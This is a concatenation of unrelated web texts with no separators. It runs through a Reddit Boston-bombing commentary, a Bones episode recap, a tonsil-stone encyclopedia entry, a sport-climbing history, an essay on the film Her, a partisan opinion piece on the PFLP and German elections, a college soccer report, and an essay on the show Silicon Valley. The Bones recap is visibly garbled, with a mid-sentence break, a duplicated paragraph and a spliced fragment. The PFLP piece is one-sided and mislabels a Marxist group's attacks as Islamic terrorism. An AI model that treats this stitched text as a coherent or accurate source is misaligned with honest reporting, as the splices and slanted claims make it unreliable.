On Monday, the site’s general manager, Erik Martin, wrote a blog post titled “Reflections on the Recent Boston Crisis.” After extolling all the ways in which the site’s users helped out during the tragedy and aftermath, Martin stated that, “though started with noble intentions, some of the activity on Reddit fueled online witch hunts and dangerous speculation which spiraled into very negative consequences for innocent parties.” And he briefly explored the purpose and limitations of the site’s no-personal-information policy:
A few years ago, reddit enacted a policy to not allow personal information on the site. This was because “let’s find out who this is” events frequently result in witch hunts, often incorrectly identifying innocent suspects and disrupting or ruining their lives. We hoped that the crowdsourced search for new information would not spark exactly this type of witch hunt. We were wrong. …
This crisis has reminded all of us of the fragility of people’s lives and the importance of our communities, online as well as offline. These communities and lives are now interconnected in an unprecedented way. Especially when the stakes are high we must strive to show good judgement and solidarity. One of the greatest strengths of decentralized, self-organizing groups is the ability to quickly incorporate feedback and adapt. reddit was born in the Boston area (Medford, MA to be precise). After this week, which showed the best and worst of reddit’s potential, we hope that Boston will also be where reddit learns to be sensitive of its own power.
The first time I read this, I was nodding my head. Then I got to the end and thought, Wait—that’s it? The action verb in Martin’s final sentence is hope. He hopes the site “learns to be sensitive of its own power.” But what does that mean, exactly? Does it mean that the site’s users should get out of the amateur-detective business? Does it mean that they should create special private forums for that purpose? What would a “sensitive” crowd-sourced investigation look like? Is such a thing even possible?
Episode Summary
A woman who scales a wall at an exercise boot camp falls over, onto a decaying body. Based on the narrow pelvic inlet and flat profile of the skull, Brennan identifies him as a Caucasian male. Separating peri- and post-mortem injuries may be difficult, since the woman fell directly onto the body, and the body was also doused in a variety of acids and bases, speeding decomp.
At the Jeffersonian, the team finds fractures to the man's ribs, clavicles, and T6-9 vertebrae. His clothes are covered in food stains. Saroyan finds evidence of extra organs: kidney and pancreas. Coupled with evidence of diffuse idiopathic skeletal hyperostosis (DISH) on the spine, Saroyan concludes that the man suffered from diabetes and had had organ transplants as a result. They figure out that the victim is Chili Reuben, a food show host who was in D.C. filming a new episode of his TV show the week prior. His clothes are covered in food remains, there is both alcohol and marijuana in his blood, and he had hyperhidrosis or excessive sweating.
Woody Sid, who is inexplicably doing yoga on a bed as he talks to them. The FBI techs found Chili's car keys, but not his car, and his signature chili pepper earring was also missing. Chili was reviewing diners in the episode he was filming and had given good reviews to all but the Royal Diner, one of Booth and Brennan's favorite restaurants. They talk to Frankie, the proprietor of the diner, who insists that Chili wanted $3,000 to give his diner a good review. Aubrey and Booth then do some digging and find out that Chili was broke. They also find his earring at a pawn shop, and it was hawked by Kenneth Morton, one of the people who worked on Chili's show. Morton claims that Chili gave him his earring and told him to pawn it for Booth and Brennan head to a hotel to talk to Chili's producer,Sid, who is inexplicably doing yoga on a bed as he talks to them. The FBI techs found Chili's car keys, but not his car, and his signature chili pepper earring was also missing. Chili was reviewing diners in the episode he was filming and had given good reviews to all but the Royal Diner, one of Booth and Brennan's favorite restaurants. They talk to Frankie, the proprietor of the diner, who insists that Chili wanted $3,000 to give his diner a good review. Aubrey and Booth then do some digging and find out that Chili was broke. They also find his earring at a pawn shop, and it was hawked by Kenneth Morton, one of the people who worked on Chili's show. Morton claims that Chili gave him his earring and told him to pawn it for crank . Morton instead pawned it and used the money to go see his ill mother in Philly.
Meanwhile, the Jeffersonian team scours the body looking for cause and manner of death. Fractures on the temporal and parietal were caused by blunt force trauma from a single point of impact. Additional fractures run along a diagonal line from sternal ribs 3-8 on the left side. Based on the curvature of the indentations, Brennan thinks the murder weapon was cylindrical, like a gold club, pool cue, or sound boom. Abrasions on the right metacarpals and the second, third, and fourth proximal phalanges suggest a struggle, and a hairline fracture of the glenoid fossa of the right scapula that extends to the olecranon of the ulna is about three weeks old. Chili had gotten into a couple recent fights.
The FBI questions Morton again, who said that Chili got into a fight with a bouncer at a bar, then took his keys and drove away. They find his car, the Spice Mobile, and use its GPS to figure out where Chili traveled over the course of the previous week. Turns out, he was dining with reality show producers, which makes Booth want to question Woody Sid the producer again. Woody Sid explains that he tried to take Chili to rehab, and he jumped out of a moving car, necessitating attention to his shoulder injury in Memphis. The team swabbing the Spice Mobile finds blood that someone tried to clean up, but it ends up being animal blood, as well as perfume from Joanne, a waitress at the Royal Diner. The Jeffersonian team also finds a crushing injury to the occipital that was hidden under Chili's hair plugs. Joanne admits to the affair, but says it was consensual and she last saw him take off in his van.
Finally, there is a break in the case. A small amount of hemorrhagic staining on the tympanomastoid area suggests Chili may have drowned. Although his lung tissue is too degraded to confirm, the team realizes that the crescent-shaped bruise on the occipital is the same shape as a sink faucet. Apparently his lung tissue is not too damaged to find particulates of aloe vera, soap, and epithelial cells. The FBI questions Morton once more, assuming that he killed Chili because his mother was dying without an organ transplant and Chili was destroying his transplanted organs. Rather, Chili showed up to Morton's hotel room, drunk and belligerent, and Morton snapped. Chili slipped on the floor, hit his head, but kept attacking Morton, who eventually just held Chili's head underwater until he died.
Comments
Forensics
Demographics: I'll buy the narrow pelvic inlet, but flat skull profile? Meaning... lack of prognathism? Or vertical cheekbones? Not sure where they got ancestry/race from.
Brennan distinctly said "hypotosis" when talking about the DISH on the spine; I wrote it down to look it up and see if there was an additional disease I wasn't aware of. Nope, she meant "hyperostosis."
Lung tissue was too degraded to tell if Chili drowned, but good enough to find freaking epithelial cells from someone else in them? Sure.
Plot
Brennan's weird pronunciation comes up again in this episode, with ischium pronounced as IS-kee-um (technically correct, but most people say ISH-ee-um in English) and pisiform as PIE-si-form (rather than PIH-si-form, which is more common). Then there was Brennan's pronunciation of talus as TAY-lus, which is notable because it was supposed to rhyme with Dallas (whereas the anglicized pronunciation common in osteology, TAH-lus, does).
I'm pretty sure that if I invented something on my own time, I'd owe UWF some cut of that, because that's pretty standard in academic/research settings. What I'm saying is, I doubt the Hodgins invention thing is as cut and dried as he suggests.
Dialogue
The plot about making up a bone song for Christine is pretty lame. Honestly, the Hannah Montana song is way catchier.
"Look, mommy, I'm eating the sacrum!" "Technically, it's the ischium." - Christine and Brennan
"There's no such thing as a chest bone. The chest is comprised of the hyoid, clavicle, sternum, and ribs." - Brennan (Hyoid? That's not part of the chest...)
"Pancreata is also acceptable (as the plural of pancreas)." - Jessica
"From the incus to the coccyx, the stapes to the talus, you better watch your ethmoid and vomer when you’re driving top-down in Dallas.” - Clark (I'm not sure what the sense of this is supposed to be; especially since Brennan didn't even rhyme talus with Dallas)
"The trapezoid, radius, scapula, lunate, hamate, the bones in the arm they run the full gamut.” (Gamut and hamate? No.)
"The tibia, fibula, femur and patella. If the shoe fits your metatarsals then you might be Cinderella… so, get off your sacrum, get off your coccyx, wave your triquetrum and capitate in the air…. Shake your cuneiform and navicular like you just don’t care…” - Brennan and Christine (who shakes their ankle like they don't care?)
"Wait, it’s so confusing; these bones are so numerous. I hope it shows a funny bone because it’s so humerus.” - Booth
Joanne mentions a potential "partial distruption of his posterior sacroiliac complex," which is notable only because it reminds me of Catullus 11 "omnium ilia rumpens."
"He doesn't know his coccyx from his cubitus." - Actually a rather nice way of saying "He doesn't know his ass from his elbow." Good work on that one, Bones writers.
Ratings
Forensic Mystery - B-. Lots of people had it out for Chili, but they narrowed on the killer very quickly.
Forensic Solution - B+. Weird pronunciation aside, not a bad episode forensically.
The letter is signed by former Reserve Bank governor Bernie Fraser, ACTU president Ged Kearney, former Labor premier Carmen Lawrence, Uniting Church president Stuart McMillan, Nobel prize winner Peter Doherty and a raft of economists and legal and public policy experts. It was published as a full page advertisement in Fairfax newspapers.
It comes as Mr Turnbull prepares to announce the government will push to abolish the Road Safety Remuneration Tribunal, an attempt to reset the political agenda after days of pressure within the Coalition over whether to back a banking royal commission.
Tonsilloliths, also known as tonsil stones, are soft aggregates of bacterial and cellular debris that form in the tonsillar crypts, the crevices of the tonsils.[1] While they occur most commonly in the palatine tonsils, they may also occur in the lingual tonsils.[1] Tonsil stones are common. Tonsilloliths have been recorded weighing from 0.3 g to 42 g.[1]
Protruding tonsilloliths may feel like foreign objects lodged in the tonsil crypt. They may be a nuisance and difficult to remove, but are usually not harmful. They are one of the causes of bad breath and give off a putrid smell.[2][3]
Signs and symptoms [ edit ]
Tonsilloliths may produce no symptoms, or they may be associated with bad breath, or produce pain when swallowing.[4]
Tonsilloliths occur more frequently in teens than in adults or young children. Many small tonsil stones do not cause any noticeable symptoms. Even when they are large, some tonsil stones are only discovered incidentally on X-rays or CAT scans.
Other symptoms include a metallic taste, throat closing or tightening, coughing fits, and choking.
Larger tonsilloliths may cause multiple symptoms, including recurrent halitosis, which frequently accompanies a tonsil infection, sore throat, white debris, a bad taste in the back of the throat, difficulty swallowing, ear ache, and tonsil swelling.[5] A medical study conducted in 2007 found an association between tonsilloliths and bad breath in patients with a certain type of recurrent tonsillitis. Among those with bad breath, 75% of the subjects had tonsilloliths, while only 6% of subjects with normal halitometry values (normal breath) had tonsilloliths. A foreign body sensation may also exist in the back of the throat. The condition may also be an asymptomatic condition, with detection upon palpating a hard intratonsillar or submucosal mass.
A tonsillolith protrudes from the tonsil
Large tonsillolith half exposed on tonsil
Closeup of a tonsillolith
Classification [ edit ]
Tonsilloliths or tonsil stones are calcifications that form in the crypts of the palatal tonsils. They are also known to form in the throat and on the roof of the mouth. Tonsils are filled with crevices where bacteria and other materials, including dead cells and mucus, can become trapped. When this occurs, the debris can become concentrated in white formations that occur in the pockets.[5] Tonsilloliths are formed when this trapped debris accumulates and are expressed from the tonsil. They are generally soft, sometimes rubbery. This tends to occur most often in people who suffer from chronic inflammation in their tonsils or repeated bouts of tonsillitis.[5] They are often associated with post-nasal drip.
Giant [ edit ]
Much rarer than the typical tonsil stones are giant tonsilloliths. Giant tonsilloliths may often be mistaken for other oral maladies, including peritonsillar abscess, and tumours of the tonsil.[6]
Pathophysiology [ edit ]
Low-power microscope magnification of a cross-section through one of the tonsillar crypts (running diagonally) as it opens onto the surface of the throat (at the top). Stratified epithelium (e) covers the throat's surface and continues as a lining of the crypt. Beneath the surface are numerous nodules (f) of lymphoid tissue. Many lymph cells (dark-colored region) pass from the nodules toward the surface and will eventually mix with the saliva as salivary corpuscles (s).
The mechanism by which these calculi form is subject to debate,[1] though they appear to result from the accumulation of material retained within the crypts, along with the growth of bacteria and fungi – sometimes in association with persistent chronic purulent tonsillitis.
Recently, an association between biofilms and tonsilloliths was shown. Central to the biofilm concept is the assumption that bacteria form a three dimensional structure, dormant bacteria being in the center to serve as a constant nidus of infection. This impermeable structure renders the biofilm immune to antibiotic treatment. By use of confocal microscopy and microelectrodes, biofilms similar to dental biofilms were shown to be present in the tonsillolith, with oxygen respiration at the outer layer of tonsillolith, denitrification toward the middle, and acidification toward the bottom.[7]
Diagnosis [ edit ]
Diagnosis is usually made upon inspection. Differential diagnosis of tonsilloliths includes foreign body, calcified granuloma, malignancy, an enlarged temporal styloid process or rarely, isolated bone which is usually derived from embryonic rests originating from the branchial arches.[8]
Tonsilloliths are difficult to diagnose in the absence of clear manifestations, and often constitute casual findings of routine radiological studies.
Imaging diagnostic techniques can identify a radiopaque mass that may be mistaken for foreign bodies, displaced teeth or calcified blood vessels. Computed tomography (CT) may reveal nonspecific calcified images in the tonsillar zone. The differential diagnosis must be established with acute and chronic tonsillitis, tonsillar hypertrophy, peritonsillar abscesses, foreign bodies, phlebolites, ectopic bone or cartilage, lymph nodes, granulomatous lesions or calcification of the stylohyoid ligament in the context of Eagle syndrome (elongated styloid process).[9]
Treatment [ edit ]
Often, no treatment is needed, as few stones produce symptoms.[5]
Some people are able to remove tonsil stones using the tip of the tongue or finger. Oral irrigators are also simple yet effective and will thoroughly clean the tonsil crypts. Most electric oral irrigators are unsuitable for tonsil stone removal because they are too powerful and are likely to cause discomfort and rupture the tonsils, which could result in further complications such as infection. Irrigators that connect directly to the sink tap via a threaded attachment or otherwise are suitable for tonsil stone removal and everyday washing of the tonsils because they can jet water at low pressure levels that the user can adjust by simply turning the sink tap, allowing for a continuous range of pressures to suit each user's specific requirements.[5]
More simply still, gargling with warm, salty water may help alleviate the discomfort of tonsillitis, which often accompanies tonsil stones. Vigorous gargling each morning can also keep the tonsil crypts clear of all but the most persistent tonsilloliths.[5]
Curettage [ edit ]
Larger tonsil stones may require removal by curettage (scooping) or otherwise, although thorough irrigation will still be required afterwards to effectively wash out smaller pieces. Larger lesions may require local excision, although these treatments may not completely help the bad breath issues that are often associated with this condition.
Laser [ edit ]
Another option is to decrease the surface area (crypts, crevices, etc.) of the tonsils via laser resurfacing. The procedure is called laser cryptolysis. It can be performed using a local anesthetic. A scanned carbon dioxide laser selectively vaporizes and smooths the surface of the tonsils. This technique flattens the edges of the crypts and crevices that collect the debris, preventing trapped material from forming stones.
Surgery [ edit ]
Tonsillectomy may be indicated if bad breath due to tonsillar stones persists despite other measures.[10]
Home remedies [ edit ]
This may include gargling with salt water or attempts to remove with a (sterile) cotton swab.[5]
Epidemiology [ edit ]
You know those shiny gadgets, techy techniques, and bizzled training facilities we use to hone our sport climbing? Well, guess what: they weren’t invented in a vacuum. A few eureka moments, plus years of refinement, led to the tricks, tools, and techniques we take for granted when we’re out bolt-wrasslin’ today.
1. You can’t sport climb without bolts. Bolts for climbing first appeared in Europe in the 1920s, though in North America, the Scotsman George Anderson had drilled eyebolts for progress and to fix hand lines on his 1875 Half Dome first ascent. In 1939, Raffi Bedayn, David Brower, John Dyer, and Bestor Robinson placed two protection and two anchor bolts on their FA of Shiprock, New Mexico—they used construction eyebolts they’d tested at Pinnacles National Monument, California. And during an August 1946 attempt on Yosemite’s Lost Arrow Spire, John Salathé drilled a bolt for upward progress (direct aid), perhaps becoming the first climber to “dog” on a bolt.
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2. Before climbers used cordless hammer drills, hand drilling was the (tedious) game, which partially explains why the first rap-bolted sport routes from the 1980s have minimalist bolting. Things changed in 1987 when Chris Grover, Sean Olmstead, and Doug Phillips used a Bosch Bulldog to equip Smith Rock’s classic 5.13a Churning in the Wake. Grover and Alan Watts, while at a Munich trade show in the mid-1980s, had seen a Hilti poster featuring a power-drill-toting climber in the Verdon Gorge. Back home, they searched for the right tool, eventually talking Phillips, their boss at Metolius Climbing, into buying a company Bosch. “We all hiked down [to the wall] with the drill,” says Grover, “and since Doug paid for it, he drilled the first hole, and Sean drilled the second standing on his shoulders.”
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3. Before rope bags, we sportos dragged our cords through the dirt, although some used blue plastic tarps. The first proper rope bag was Scott Frye’s Dirtbag, first sold in 1989, developed after he saw Japanese climbers using a sheet to protect their rope at Smith Rock. Frye had seamstresses sew up 500 units; Dirtbags folded burrito-style, with a webbing-and-buckle closure. Frye sold his bags for two seasons and tried to get REI to carry them, though they told him, “This is too specialized, and no one wants to keep their rope out of the dirt.” Rope bags didn’t go big until the early 1990s, when Metolius Climbing picked up and tweaked the idea, successfully selling units to REI.
4. Beta is key to any well-oiled redpoint, and its origin story can’t be retold enough. Thank the late Shawangunks and Texas climber/wordsmith Jack Mileski, who coined the term around 1981, when films were offered for home viewing in both VHS and Betamax formats. “Let me run the ‘Betamax’ tape for you,” Mileski told fellow Gunkie Mike Freeman metaphorically, describing the 5.12 Kansas City, and then added, “So, Mike, here’s the beta!”
5. A key refinement, the beta map, made its first American print appearance in February 1988 with Christian Griffith’s blow-by-blow topo of the Buoux 5.13c Chouca in his article “Learning to Crawl” (Climbing No. 106). Griffith and Dale Goddard would draw the maps, Griffith recalls, “to deal with the boredom of impoverished rest days... and to compare notes.” When “Learning to Crawl” appeared, says Griffith, “Climbing… in this country was still at a place where you weren’t supposed to hang and work moves.” Thus, the idea of a beta topo “would have been really unique, because Americans would have been embarrassed to admit that they had to try something so much that they’d remember that fine of detail.”
6. Consider making a hard clip by first putting a carabiner on a bolt, then clipping another biner to it, and then slapping in the rope—one method before quickdraws. (The late John Bachar said the Stonemasters, in the early 1970s, called bolted face routes “carabiner climbing.”) We owe thanks to the Colorado climber Jim Erickson for the modern draw. In 1972, Erickson began consistently carrying his four pre-made, nine-inch “UrQuickdraws” that comprised two biners and tied-off 5/8” webbing. Erickson adds that he remembers using similar proto-draws as far back as the mid-1960s in specific instances at Devil’s Lake, in the Gunks, and around Boulder.
7. Rock gyms, by facilitating year-round fitness, have helped us realize 5.15. In America, the first indoor gyms were Seattle’s Vertical Club (1987), the Portland Rock Gym (1988), and the climbing wall at Boulder’s Colorado Athletic Training School (CATS, 1988). But the outdoor Monitor Rock (aka Schurman Rock) in Seattle, built in 1938–’39 by the Works Progress Administration, was America’s first true wall. In the 1930s, Clark Schurman, chief summit guide at Mt. Rainier, started shaping a model of the artificial mountain from clay; his goal was to create a place to safely introduce city slickers to climbing. The beloved 25-foot structure in west Seattle is still well-used.
8. Before gyms, climbers would train, as they still do, on home walls—“woodies,” an English term from the late 1980s. Graeme Alderson, of the Sheffield, England, gym The Climbing Works, recalls, “The first woody that I know about was around 1987–’88; it was wooden holds screwed onto the floor joists in a cellar at Paul Evans’ house in Broomhall.” Alderson says the holds were often carved out of such things as banister rails or dowels.
9. Although whether the fingertip chalk blow actually helps on hard redpoints has yet to be proven, the practice is ubiquitous. The “Euroblow” was in fact popularized by French mega-star Patrick Edlinger in the documentary La vie au bout des doigts (1982), in which we see the trademark blow giving him amazing free-soloing powers, augmented only by filmy running shorts and a red bandana, in France’s Verdon Gorge. Wrote Dale Goddard in a 1988 Climbing piece: “Ever since Edlinger popularized the practice… the French have been conspicuously turning their heads to the side and with a casual expression, blowing their fingertips.”
Set in a slightly futuristic L.A., Her is the story of Theodore, a lonely letter-writer who finds love in his advanced operating system, Samantha, who is designed to meet his every need. In fact, that's one of the major concepts the film unpacks: needs and wants.
In this video essay from Channel Criswell, Lewis Bond talks at length about the role that needs and wants play in the film, including the constant battle Theodore wages against himself to get what he wants, while failing to ensure that he gets what he needs. Bond also details how Jonze managed to capture the film's sense of isolation and loneliness through cinematography. Check it out below:
Bond goes through a ton of information in the video — all of which you should definitely take the time to ponder — but one interesting aspect that he touches on is how Jonze decided to communicate Theodore's emotional state and character arc progression through a series of cinematic choices. Here are a few:
Montage
Her uses the Kuleshov Effect to — great effect. We've talked about this technique countless times, but it works to change or heighten a shot's meaning by simply placing it (or editing it) next to another shot. Her puts it to work by alternating shots of Theodore's happy past with his ex-wife with shots of his dark and lonely present.
Color
Color plays a tremendous role in Her, and one of its purposes is to communicate who does and who doesn't fit in. Theodore's brightly-colored clothes (that peachy pink shirt, though) signal that he hasn't quite found his way amongst his peers, who are all dressed in more subdued colors. However, when Theodore's clothes start to look like those of his peers, we're alerted to the fact that something has changed —Theodore has changed.
Shallow Depth of Field
This is one of the more interesting concepts Bond brings up in the video. Jonze and DP Hoyte Van Hoytema chose to capture shots with a shallow depth of field to communicate visually just how isolated and detached Theodore is from the world around him.
Even as Germany is increasingly cracking down on criticism of Islam, it appears prepared to give a genuine Islamic terrorist group the opportunity to win seats in its parliament...
In a remarkable decision taken at the end of August, Germany's Interior Ministry declined to bar the Popular Front for the Liberation of Palestine (PFLP) -- listed as a terrorist organization by the US, Canada, the European Union, and Australia -- "from campaigning as a political party in the September general election to the Bundestag."
Yes, the PFLP -- on a joint list with the Marxist-Leninist Party -- plans to field candidates in this month's elections in Germany and run for Parliament.
What is the PFLP?
Formed shortly after Israel's Six-Day War through the merger of three militant groups -- The Young Avengers (Palestinian nationalists), The Heroes of the Return (based in Lebanon), and the Palestinian Liberation Front (which operated largely out of Syria and the West Bank) -- it is today, after Fatah, the second largest faction in the Palestine Liberation Organization (PLO). Described variously as a blend of "Palestinian nationalism with Marxist ideology" and as "a Palestinian nationalist organization with different ideological outlooks at different times (from Arab nationalist, to Maoist, to Leninist)," it has called for Israel's destruction and international communist revolution.
Considered more radical than Fatah, it has, ever since its founding, routinely targeted civilians without remorse. During its early days, it was on friendly terms with Germany's Red Army Faction (the Baader-Meinhof Gang) and received funding from the USSR and China. In recent years the PFLP has been chummy with Iran.Half a century ago, the PFLP specialized in hijacking planes -- it was the first Palestinian group to do so, and the first successfully to commandeer an El Al plane. That act, in 1968, is widely considered to mark the beginning of the modern era of international Islamic terrorism. On a single day in September 1970, its members hijacked three passenger flights headed from European airports to New York. In 1972, a PFLP member took part in the Lod Airport Massacre, in which 28 people were murdered at what is now called Ben Gurion International Airport. In October 2001, it assassinated Israeli Tourism Minister Rehavam Ze'evi in retaliation for Israel's killing of its top leader at the time, Abu Ali Mustafa (after whom the group's militant wing is now named).
During the next few years, the PFLP focused on suicide bombings in Israel; more recently, it has kept busy firing rockets into Israel from the Gaza Strip.
In November 2014, two PFLP associates murdered six people in a synagogue massacre in Jerusalem. On June 16 of this year, it collaborated with Hamas on a fatal attack in East Jerusalem; on July 14, it murdered two Israeli police officers in Jerusalem's Old City and bragged that its "heroic operation" had successfully broken through "the security cordon imposed by the Israeli occupation forces on the city of Jerusalem and Al-Aqsa, breaking the arrogance of the Zionist security which sees in the city and in Al-Aqsa an impenetrable fortress."
Perhaps the PFLP's most famous operative is Carlos the Jackal, the legendary Venezuelan terrorist, currently serving a life sentence in France. Another high-profile member is Leila Khaled, who has been called "the first woman hijacker in history" and who has been allowed in recent years to enter many Western countries, including Germany, Sweden, Austria, and South Africa, to deliver speeches, meet with fellow communists, and confer with supporters of movements that try to destroy Israel economically.
If it seems exceedingly inappropriate for these countries' governments to afford Khaled such treatment, consider that the UN, the EU, and a number of European countries, including Germany, France, Britain, Ireland, the Netherlands, Switzerland, Spain, Sweden, Denmark, and Norway, have funded non-governmental organizations with links to PFLP -- among them Addameer, Al-Haq, the Alternative Information Center, the Health Work Committee, Stop the Wall, the Palestinian Center for Human Rights, and the Union of Agricultural Work Committees. At least one of the groups in question, according to NGO Monitor, was founded and is run by the PFLP; others have convicted terrorists on their payrolls and/or have abetted PFLP and its members in one way or another. There has, however, been remarkably little media attention paid to the fact that at least some of taxpayer money donated by these Western countries has found its way into the PFLP's coffers, and more than $300 million annually to the salaries of terrorists.
But of all the actions taken by Western governments and international organizations that have benefited the PFLP, none has come as close to legitimizing it as Germany's decision to let it field candidates in this month's elections. "For observers of terrorism in Germany," wrote Benjamin Weinthal in the Jerusalem Post, "it is unclear why the ministry is reluctant to outlaw the Palestinian organization." After all, it is not as if the Federal Republic of Germany has no power to ban parties; it outlawed the Volkssozialistische Bewegung Deutschlands/Partei der Arbeit (People's Socialist Movement of Germany) in 1982 and the Freiheitliche Deutsche Arbeiter Partei (Free German Workers Party) in 1995.
Nor are today's German authorities shy about silencing individuals for holding views they consider inappropriate. Gatestone Institute's Soeren Kern noted in 2012 that German authorities were "monitoring... websites that are critical of Muslim immigration" and were prepared to shut them down. In 2014, Bavarian officials sought to gag critics of a new mega-mosque; in January of last year, the Washington Post reported that Germany had "reached a deal with Facebook, Google and Twitter to get tougher on offensive [read: anti-Islamic] content." German police even raided the home of a critic of Muslim refugees.
A German court had given five months' probation to a woman for her online comments "about an alleged rape of a German woman by an asylum seeker." In June 2016, German police raided the homes of thirty-six additional people guilty of "hate posting" online; in July, they raided about sixty more homes.
It is hard not to see this as a strange, ironic, and tragic historical moment. In living memory, Germany was transformed from a fearsome totalitarian power, bent on conquest and genocide, into a cornerstone of liberal democracy.
Shultz' brace set the tone for the Zips (4-2-1) third consecutive victory over a ranked opponent and extended Akron's unbeaten streak to five straight matches.
RELATED: UMBC draws with No. 3 Maryland in front of a record crowd
The triumph marked the highest-rated team the Zips have defeated at FirstEnergy Stadium – Cub Cadet Field since then top-rated Akron handed No. 2 Tulsa a 4-0 setback on Sept. 24, 2010.
Not 1, Not 2, Not 3, Not...
Check out all goals scored by @ZipsMSoc in tonight’s win over previously unbeaten Michigan State. #MACtion pic.twitter.com/4y0PF1UJsV — #MACtion (@MACSports) September 28, 2017
The Spartans came into their showdown with the Zips having surrendered only one goal on the campaign and it was Shultz' first tally of the season in the 16th minute (15:55) that ended Michigan State's run of three consecutive shutouts.
Sophomore Nick Hinds delivered a ball in from the corner of the box to just outside the six-yard box which Shultz leveled into the back of the net for a 1-0 Zips' lead.
Akron continued to penetrate the Spartan's defensive third in the half as the Zips went on to post an 8-1 advantage in first-half shots, including 5-0 margin in shots on goal.
That's a wrap for tonight. Zips get a HUGE 4-1 win over the unbeaten and top ranked Michigan State Spartans! #ZipsGameday #AkronMade pic.twitter.com/WXmiOBzsr3 — Akron Zips M Soccer (@ZipsMSoc) September 28, 2017
Freshman David Egbo nearly extended Akron's lead to 2-0 at the 41:51 mark as only Jimmy Fiscus clearing the ball off the goal line for a team save prevented Egbo's second goal of the season.
Capitalizing on the momentum, Shultz earned his second tally of the evening in the 45th minute (44:28) off a pair of key inside-out passes for assists from redshirt sophomore Skye Harter and senior Stuart Holthusen to push Akron's lead at halftime to 2-0.
Hinds continued his strong play in the second half as finessed his away around the Michigan State defenders at the 70:04 mark and blasted a ball into the back of the net for his second goal of the season to give the Zips a 3-0 advantage.
Akron's bid for a third straight shutout was thwarted in the 81st minute (80:58) when Ryan Scott played a ball of his body and into the back of the net off an assist from Hunter Barone.
Freshman Joáo Moutinho capped the Zips' scoring efforts on the evening registering his first career goal at the 84:50 mark to account for the final 4-1 margin. Egbo soared around the backline and played a ball into the box that senior Niko De Vera flicked off to Egbo, who rocketed a ball past Michigan State goalkeeper Jimmy Hague for the goal.
MORE: Hoosiers top No. 7 Notre Dame, 1-0, to stay undefeated
The four-goal effort marked the second straight time at FirstEnergy Stadium – Cub Cadet Field that the Zips have posted four or more goals against the Spartans. Akron bested Michigan State, 4-1, on Oct. 21, 2015.
The Zips finished the affair garnering a 14-6 advantage in shots, including a 7-3 difference in shots on goal.
Moutinho collected a team- and career-high five shots, while Shultz and Egbo each tallied two strikes of their own. Six different Spartans recorded shots.
Junior goalkeeper Ben Lundt made one save for the Zips, while Hague pulled in four stops for Michigan State.
Silicon Valley viewers are used to this series satirizing an industry where true innovators are exploited, while money flows unabated to any charismatic schmoozer who knows the right buzzwords. The show leans heavy on the classic Caddyshack-esque slobs-vs.-snobs dynamic of any good underdog comedy. But when it turns out that the people we’ve been rooting for are as sour and corrupt as the villains, the point of the show can become a little muddled.
There’s another way to look at what Silicon Valley’s doing, though. What if the show has never been as pessimistic as it seems? Maybe the stories have never been about “heroes” and “villains.” It’s a despairingly dark comedy, illustrating how talented-but-ruthless people screw each other over and keep a potential technological utopia at bay. But maybe it’s also been a clear-eyed look at how humanity keeps progressing in spite of ourselves.
Mike Judge co-created Silicon Valley alongside longtime collaborators John Altschuler and Dave Krinsky, and the show often gets compared to Judge’s cult movies Office Space and Idiocracy, which offer grim assessments of modern life and our possible future. Or at least they seem grim on the surface. Dig a little deeper, and there’s a brightness and sideways optimism to both those films, which belies their often sick senses of humor.
Office Space took a while to find an audience when it came out in 1999, but it eventually became a favorite of Gen-Xers once they began settling into a corporate culture geared toward treating grown-up employees like kindergartners. Judge’s insight into the forced bonhomie of co-worker interactions and the phony “do me a favor” tone of middle-manager speak rang painfully true. The movie put a frame around the hellishness of what millions of Americans in bland, blocky suburban office parks experience every day, clarifying just how soul-deadening their lives had become.
But all this is just a backdrop for Office Space’s story about a bored cubicle-drone named Peter (Ron Livingston) who begins failing upward in his company once he decides not to participate in the “we’re all friends here” charade anymore. Like Richard in Silicon Valley, Peter embraces amorality and makes dumb mistakes, but it’s still possible to read his story as an argument for resistance. Even in a system inclined toward dehumanization, the human spirit survives.
Idiocracy has also seen its reputation improve since it flopped at the box office back in 2006. The prescience of Judge’s vision — imagining an America 500 years from now, after generations of junk-food-scarfing, reality television-obsessed citizens breed a culture guided only by base impulses — gained new resonance in 2016, when populist anti-intellectualism vaulted a crude B-list TV star to the nation’s highest office.
Yet even in Idiocracy’s nightmarish version of the future (or metaphorically, the present), some form of organized society still exists, with enough well-meaning people to recognize the value of a moderately intelligent man like the movie’s hero, Joe (Luke Wilson). Judge may well believe the world is going to keep getting worse and worse from century to century, but he also clings to the idea that one individual can make a positive difference.
Consider the finale of Silicon Valley’s latest season, where Richard and his bickering, selfish Pied Piper partners Dinesh (Kumail Nanjiani) and Gilfoyle (Martin Starr) get a last-second reprieve from a potentially devastating failure. They end up engineering both the catastrophe and the fix themselves, unwittingly. A scheme to sneak malware onto smartphones at a tech convention — to house a client’s data cheaply and prove the viability of Richard’s design for a decentralized internet — causes those devices to explode. The manufacturer, Hooli, then announces a recall that could become a costly setback to the Pied Piper team. It’s only thanks the sturdiness and flexibility of Richard’s program, coupled with Gilfoyle’s hobby of pranking Dinesh, that the data which otherwise might’ve dissipated into the cloud instead redistributes securely into a network of web-connected refrigerators that Gilfoyle hacked.
Silicon Valley does feature some truly awful people, and Richard is one of them. Season 4 has been especially pointed about how the Valley’s oversized population of nerds, bros, and opportunists has fostered a business culture where pettiness is rewarded, not scorned. The finale even takes a clear shot at Donald Trump by having dunderheaded Hooli boss Jack Barker blame all his problems on the previous administration, while over-promising big changes that he lacks the knowhow to oversee. In his Trumpiest moment, Jack insists he can make an impossible deal with the Chinese due to his phenomenal negotiating skills, which mainly consist of him saying “just work harder.”
But what’s always made this series more than just a harsh snapshot of a nasty place is its plotting, which emphasizes characters who act as much as they react. Silicon Valley shies away from the mild complications of most TV comedy situations, preferring full-blown crises that the characters have to slug their way through. In their ingenious solutions — even the ones that don’t work — the show finds its heart. Richard repeatedly lets his ego lead him into disaster, and in the scramble to escape, he sometimes betrays his principles and screws over his friends. But he never stops thinking, and he keeps finding potential ways to wriggle free every time he seems trapped.
In the latest season, even when Richard’s intended ends don’t justify his increasingly malevolent means, he’s not wrong when he says he’s working toward something genuinely important: a new kind of internet that will be faster, cheaper, and easier for anyone to access. For him, this is the latest iteration of what’s been a cycle of inadvertent discoveries. Richard launched Pied Piper as an advanced app for preventing musicians from accidentally aping copyrighted songs. His application required the development of a compression algorithm that’s since become the core of Pied Piper’s business, improving longstanding technological problems like file storage, choppy streaming video, and fuzzy video chat.
Sennate Judicial Proceedings Committee Chairman Brian Frosh talks about the marijuana bills his committee will hear tomorrow. Download This File
